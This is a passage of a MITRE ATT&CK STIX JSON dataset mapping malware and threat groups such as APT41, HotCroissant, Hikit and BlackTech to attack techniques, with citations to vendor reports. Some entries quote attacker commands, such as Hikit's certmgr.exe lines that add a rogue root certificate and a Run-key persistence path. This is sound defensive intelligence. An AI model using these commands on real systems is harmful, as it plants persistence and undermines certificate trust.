                    "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a",
                    "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."
                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used HTTP in outbound communications.(Citation: Chronicle Winnti for Linux May 2019)",
            "relationship_type": "uses",
            "id": "relationship--2fc3c031-8a39-4bc9-b3e1-4c5f6ac1e292",
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        {
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            ],
            "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Talos PoetRAT April 2020",
                    "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html",
                    "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."
                }
            ],
            "description": "[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to list files upon receiving the <code>ls</code> command from C2.(Citation: Talos PoetRAT April 2020)",
            "relationship_type": "uses",
            "id": "relationship--2bcaf336-cd02-47e3-b73f-6f0c5cc3592f",
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            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "Chronicle Winnti for Linux May 2019",
                    "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a",
                    "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."
                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a custom TCP protocol with four-byte XOR for command and control (C2).(Citation: Chronicle Winnti for Linux May 2019)",
            "relationship_type": "uses",
            "id": "relationship--670d65e8-59a9-46ae-bdb6-6cb94a0528ba",
            "type": "relationship",
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            ],
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            "external_references": [
                {
                    "source_name": "FireEye APT41 March 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html",
                    "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."
                }
            ],
            "description": "[APT41](https://attack.mitre.org/groups/G0096) has executed <code>file /bin/pwd</code> on exploited victims, perhaps to return architecture related information.(Citation: FireEye APT41 March 2020)",
            "relationship_type": "uses",
            "id": "relationship--d9416afb-0aeb-4ee3-bd96-dc331f40f37d",
            "type": "relationship",
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        {
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            ],
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            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "external_references": [
                {
                    "source_name": "FireEye APT41 March 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html",
                    "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."
                }
            ],
            "description": "[APT41](https://attack.mitre.org/groups/G0096) executed <code>file /bin/pwd</code> in activity exploiting CVE-2019-19781 against Citrix devices.(Citation: FireEye APT41 March 2020)",
            "relationship_type": "uses",
            "id": "relationship--a8b93875-6ad4-492e-afa1-0549ada7d7ca",
            "type": "relationship",
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            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "external_references": [
                {
                    "source_name": "FireEye APT41 March 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html",
                    "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."
                }
            ],
            "description": "[APT41](https://attack.mitre.org/groups/G0096) used [Net](https://attack.mitre.org/software/S0039) to execute a system service installed to launch a Cobalt Strike BEACON loader.(Citation: FireEye APT41 March 2020)",
            "relationship_type": "uses",
            "id": "relationship--84dc2fd1-a443-4ce6-866a-c58cffc1b0f3",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "FireEye APT41 March 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html",
                    "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."
                }
            ],
            "description": "[APT41](https://attack.mitre.org/groups/G0096) used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.(Citation: FireEye APT41 March 2020) ",
            "relationship_type": "uses",
            "id": "relationship--4aa86179-d9e9-43dd-b2a2-75e77a832150",
            "type": "relationship",
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            "created": "2020-05-01T13:57:23.349Z"
        },
        {
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            "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "source_name": "FireEye APT41 Aug 2019",
                    "url": "https://content.fireeye.com/apt-41/rpt-apt41",
                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."
                }
            ],
            "description": "(Citation: FireEye APT41 Aug 2019)",
            "relationship_type": "uses",
            "id": "relationship--66d42126-d337-4a00-ae35-d8af7203a6eb",
            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has attempted to install a scheduled task named \u201cJava Maintenance64\u201d on startup to establish persistence.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--fa7381ff-f2b8-4878-a9a0-10a703c7a5dd",
            "type": "relationship",
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        {
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has used the open source UPX executable packer.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--74f14668-7111-4f96-a307-4aac00d91cf4",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.556Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has encrypted strings with single-byte XOR and base64 encoded RC4.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--c12c331c-67dd-40be-b2ad-a198c0b92e78",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.557Z",
            "created": "2020-05-01T20:05:15.997Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                },
                {
                    "source_name": "US-CERT HOTCROISSANT February 2020",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d",
                    "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has compressed network communications and encrypted them with a custom stream cipher.(Citation: Carbon Black HotCroissant April 2020)(Citation: US-CERT HOTCROISSANT February 2020)",
            "relationship_type": "uses",
            "id": "relationship--30da2329-c7ee-4ac9-a38d-af79e6c1389c",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.586Z",
            "created": "2020-05-01T20:32:56.617Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
            "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
            "external_references": [
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."
                }
            ],
            "description": "[Hikit](https://attack.mitre.org/software/S0009) uses <code>certmgr.exe -add GlobalSign.cer -c -s -r localMachine Root</code> and <code>certmgr.exe -add GlobalSign.cer -c -s -r localMachineTrustedPublisher</code> to install a self-generated certificate to the local trust store as a root CA and Trusted Publisher.(Citation: FireEye HIKIT Rootkit Part 2)",
            "relationship_type": "uses",
            "id": "relationship--9a78f409-0f6b-41fd-a18f-f38366e4703e",
            "type": "relationship",
            "modified": "2020-05-13T20:36:49.341Z",
            "created": "2020-05-04T14:56:53.094Z"
        },
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "US-CERT HOTCROISSANT February 2020",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d",
                    "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can perform dynamic DLL importing and API lookups using <code>LoadLibrary</code> and <code>GetProcAddress</code> on obfuscated strings.(Citation: US-CERT HOTCROISSANT February 2020)",
            "relationship_type": "uses",
            "id": "relationship--7066827b-795c-447c-9c07-05765ed1e07b",
            "type": "relationship",
            "modified": "2020-05-06T19:28:22.199Z",
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        },
        {
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            ],
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            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to clean up installed files, delete files, and delete itself from the victim\u2019s machine.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--45310a29-78b6-4863-ab0b-49fd53ef1809",
            "type": "relationship",
            "modified": "2020-05-06T19:28:22.178Z",
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        },
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            ],
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can remotely open applications on the infected host with the <code>ShellExecuteA</code> command.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--98fd9ed1-abf3-4e2f-b071-8aea2dc44a64",
            "type": "relationship",
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        },
        {
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            ],
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            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to list the names of all open windows on the infected host.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--c8a01e1c-dac0-4a47-bda3-3b5684bd3d47",
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        },
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            ],
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            "external_references": [
                {
                    "source_name": "US-CERT HOTCROISSANT February 2020",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d",
                    "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to determine if the current user is an administrator, Windows product name, processor name, screen resolution, and physical RAM of the infected host.(Citation: US-CERT HOTCROISSANT February 2020)",
            "relationship_type": "uses",
            "id": "relationship--e3542e4e-6c4d-468a-b11e-462e35dc33f6",
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            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can retrieve a list of applications from the <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths</code> registry key.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--d07460c8-0d13-4c25-81f7-56e5198f07c5",
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            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to stop services on the infected host.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--92e19c14-504e-402f-b755-08358333cda0",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to upload a file from the command and control (C2) server to the victim machine.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--967c2498-0f51-464f-b5e5-2a0539614033",
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            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to list running processes on the infected host.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--a5720510-fadb-496d-97b5-99cdabb051ab",
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            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to retrieve a list of services on the infected host.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--a88e956c-6c71-47e1-b02c-d4c105542690",
            "type": "relationship",
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        },
        {
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            ],
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            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to download files from the infected host to the command and control (C2) server.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--1678d731-c556-4968-aab1-ae745015308f",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.491Z",
            "created": "2020-05-04T19:13:35.491Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to do real time screen viewing on an infected host.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--ee1b1aee-a635-4008-813d-fab125f0b0a5",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.497Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to hide the window for operations performed on a given file.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--fbc96b86-2c57-40b6-89f7-d7a755275a45",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.499Z",
            "created": "2020-05-04T19:13:35.499Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to retrieve a list of files in a given directory as well as drives and drive types.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--911d7f27-a32e-45fb-a66b-e7b195023c43",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.503Z",
            "created": "2020-05-04T19:13:35.503Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to collect the username on the infected host.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--c0f13745-074b-46ba-ae7a-03385ef79d31",
            "type": "relationship",
            "modified": "2020-05-04T19:13:35.506Z",
            "created": "2020-05-04T19:13:35.506Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has created a new registry entry at <code>HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Graphics</code> with a value of <code>C:\\ProgramData\\Initech\\Initech.exe /run</code>.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--52d12577-199c-41a6-92d6-28d26c023aea",
            "type": "relationship",
            "modified": "2020-05-05T21:17:34.539Z",
            "created": "2020-05-05T15:26:30.431Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has added four additional bytes of data upon launching, then saved the changed version as <code>C:\\ProgramData\\Initech\\Initech.exe</code>.(Citation: Carbon Black HotCroissant April 2020)",
            "relationship_type": "uses",
            "id": "relationship--23b5fd51-bb47-4811-8a38-c768c8fa6b0e",
            "type": "relationship",
            "modified": "2020-05-05T21:17:34.608Z",
            "created": "2020-05-05T15:26:30.438Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "Carbon Black HotCroissant April 2020",
                    "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/",
                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."
                }
            ],
            "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has been executed from malicious Excel or Word documents containing macros.(Citation: Carbon Black HotCroissant April 2020)",
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            ],
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                }
            ],
            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to identify the IP address of the compromised machine.(Citation: US-CERT HOTCROISSANT February 2020)",
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            ],
            "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has the ability to identify the Windows version on the compromised host.(Citation: Carbon Black HotCroissant April 2020)",
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            "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has the ability to identify the username on the compromised host.(Citation: Carbon Black HotCroissant April 2020)",
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                }
            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a keylogging module.(Citation: Imminent Unit42 Dec2019)",
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            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a dynamic debugging feature to set the file attribute to hidden.(Citation: QiAnXin APT-C-36 Feb2019)",
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                }
            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a dynamic debugging feature to check whether it is located in the %TEMP% directory, otherwise it copies itself there.(Citation: QiAnXin APT-C-36 Feb2019)",
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                }
            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a module for performing remote desktop access.(Citation: QiAnXin APT-C-36 Feb2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has the capability to run a cryptocurrency miner on the victim machine.(Citation: Imminent Unit42 Dec2019)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a \"Process Watcher\" feature to monitor processes in case the client ever crashes or gets closed.(Citation: Imminent Unit42 Dec2019)",
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                },
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            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a remote webcam monitoring capability.(Citation: Imminent Unit42 Dec2019)(Citation: QiAnXin APT-C-36 Feb2019)",
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                },
                {
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                }
            ],
            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a remote microphone monitoring capability.(Citation: Imminent Unit42 Dec2019)(Citation: QiAnXin APT-C-36 Feb2019)",
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                }
            ],
            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has used spearphishing emails with password protected RAR attachment to avoid being detected by the email gateway.(Citation: QiAnXin APT-C-36 Feb2019) ",
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                }
            ],
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            "relationship_type": "uses",
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                }
            ],
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                }
            ],
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                }
            ],
            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has used port 4050 for C2 communications.(Citation: QiAnXin APT-C-36 Feb2019)",
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                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
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                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
            ],
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used right-to-left-override to obfuscate the filenames of malicious e-mail attachments.(Citation: TrendMicro BlackTech June 2017)",
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            "id": "relationship--8c5e20b3-b15c-4c08-84fe-eeacd9209375",
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                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
            ],
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used e-mails with malicious links to lure victims into installing malware.(Citation: TrendMicro BlackTech June 2017)\t ",
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            "external_references": [
                {
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                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/",
                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
            ],
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used spearphishing e-mails with links to cloud services to deliver malware.(Citation: TrendMicro BlackTech June 2017)",
            "relationship_type": "uses",
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            "external_references": [
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                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
            ],
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used spearphishing e-mails with malicious documents to deliver malware.(Citation: TrendMicro BlackTech June 2017)",
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                    "description": "Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech\u2019s Cyber Espionage Campaigns. Retrieved May 5, 2020."
                }
            ],
            "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used e-mails with malicious documents to lure victims into installing malware.(Citation: TrendMicro BlackTech June 2017)\t ",
            "relationship_type": "uses",
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                    "source_name": "Group IB Silence Sept 2018",
